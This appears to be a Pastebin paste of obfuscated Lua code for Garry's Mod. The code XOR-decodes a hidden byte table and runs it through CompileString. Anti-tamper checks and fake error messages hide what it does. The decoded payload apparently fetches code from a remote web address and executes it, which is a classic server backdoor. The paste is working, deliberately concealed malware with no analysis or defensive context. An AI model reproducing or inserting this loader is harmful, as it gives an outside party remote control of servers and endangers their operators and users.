Advertisement
wifiboost

Untitled

Nov 23rd, 2019
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.90 KB | None | 0 0
  1. RunString([==[
  2. enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,11,26,13,15,66,15,22,67,0,5,2,7,67,10,25,15,7,66,28,4,28,83,7,9,21,81,62,63,4,20,62,28,1,33,20,8,31,62,8,38,95,40,58,13,94,14,78,64,76,10,25,2,15,24,5,3,2,68,14,69,76,62,25,2,63,24,30,5,2,11,68,14,64,76,78,86,78,64,76,10,13,0,31,9,69,76,9,2,8,69,9,2,8,69,76,10,25,2,15,24,5,3,2,76,62,25,2,36,45,63,36,35,14,68,69,76,9,2,8}
  3. function RunHASHOb()
  4. if not (debug.getinfo(function()end).short_src == "SDATA") then
  5. CompileString("print('Bad source')", "error",true)()
  6. return
  7. end
  8. for o=500,10000 do
  9. if o ~= string.len(string.dump(RunHASHOb)) then
  10. SDATA_DATA_CACHE = 10
  11. CompileString("for i=1,40 do SDATA_DATA_CACHE = SDATA_DATA_CACHE + 1 end", "RunString")()
  12. if SDATA_DATA_CACHE < 40 then
  13. for i=1,100 do
  14. CompileString("print('Oops, seem like you have broken this file')","Oops")()
  15. end
  16. return
  17. end
  18. continue
  19. else
  20. xpcall(function()
  21. pdata = ""
  22. xpcall(function()
  23. for i=1,string.len(string.dump(string.char)) do
  24. while o == i do
  25. o = o + 100000
  26. end
  27. end
  28. end,function() PJDATA_SUB = false end)
  29. if PJDATA_SUB then print("Error while ceating payload to inject") return end
  30. for i=1,#enccodetbl do
  31. pdata=pdata.. string.char(bit.bxor(enccodetbl[i], o%150))
  32. end
  33. if debug.getinfo(RunString).what ~= "C" then return end
  34. PJDATA_SUB = true
  35. for i=1,string.len(string.dump(CompileString)) do
  36. while o == 1050401 do
  37. o = o + 4510
  38. end
  39. end
  40. end,function()
  41. xpcall(function()
  42. local debug_inject = CompileString(pdata,"0:FFFFFFFF")
  43. pcall(debug_inject,"LUA_STAT_CLIENT")
  44. pdata = "\00"
  45. end,function()
  46. print("Error while injecting code to luajit::Client")
  47. end)
  48. end)
  49. end
  50. end
  51. end
  52. pcall(RunHASHOb)
  53. ]==],"SDATA")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement